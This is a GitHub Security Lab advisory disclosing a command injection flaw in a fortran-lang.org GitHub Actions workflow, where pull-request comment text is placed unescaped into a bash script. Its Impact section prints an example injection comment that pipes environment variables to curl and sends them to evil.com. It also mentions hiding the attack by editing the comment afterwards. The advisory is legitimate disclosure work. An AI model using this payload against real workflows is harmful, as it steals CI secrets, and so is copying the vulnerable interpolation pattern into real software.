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February 3, 2021

GHSL-2020-190: Command injection in fortran-lang/fortran-lang.org workflow

Jaroslav Lobacevski

Coordinated Disclosure Timeline

Summary

The ‘gen_tweet.yaml’ GitHub workflow is vulnerable to arbitrary command injection.

Product

fortran-lang/fortran-lang.org GitHub repository

Tested Version

gen_tweet.yaml from the master branch.

Details

Issue: The public GitHub issue comment is used to format a shell command

When a user comments on a Pull Request with a #tweet it automatically starts the gen_tweet.yaml GitHub workflow. The comment text is used to format a bash script.

  tweet:
    runs-on: ubuntu-latest
    if: github.event.issue.pull_request && startsWith(github.event.comment.body,'#tweet')
    steps:
...
    - name: extract the new tweet message
      id: get-comment-body
      run: |
        body=$(echo "${{github.event.comment.body}}" | sed '1 s/#tweet//' | sed '1 s/ //')
...

Impact

This vulnerability allows for arbitrary command injection into the bash script. For example a user may comment with #tweet `printenv | curl -X POST --data-binary @- http://evil.com` which will exfiltrate the environment variables to the attacker controlled server. To make the attack less visible the attacker may modify the comment later.

Credit

This issue was discovered and reported by GHSL team member @JarLob (Jaroslav Lobačevski).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2020-190 in any communication regarding this issue.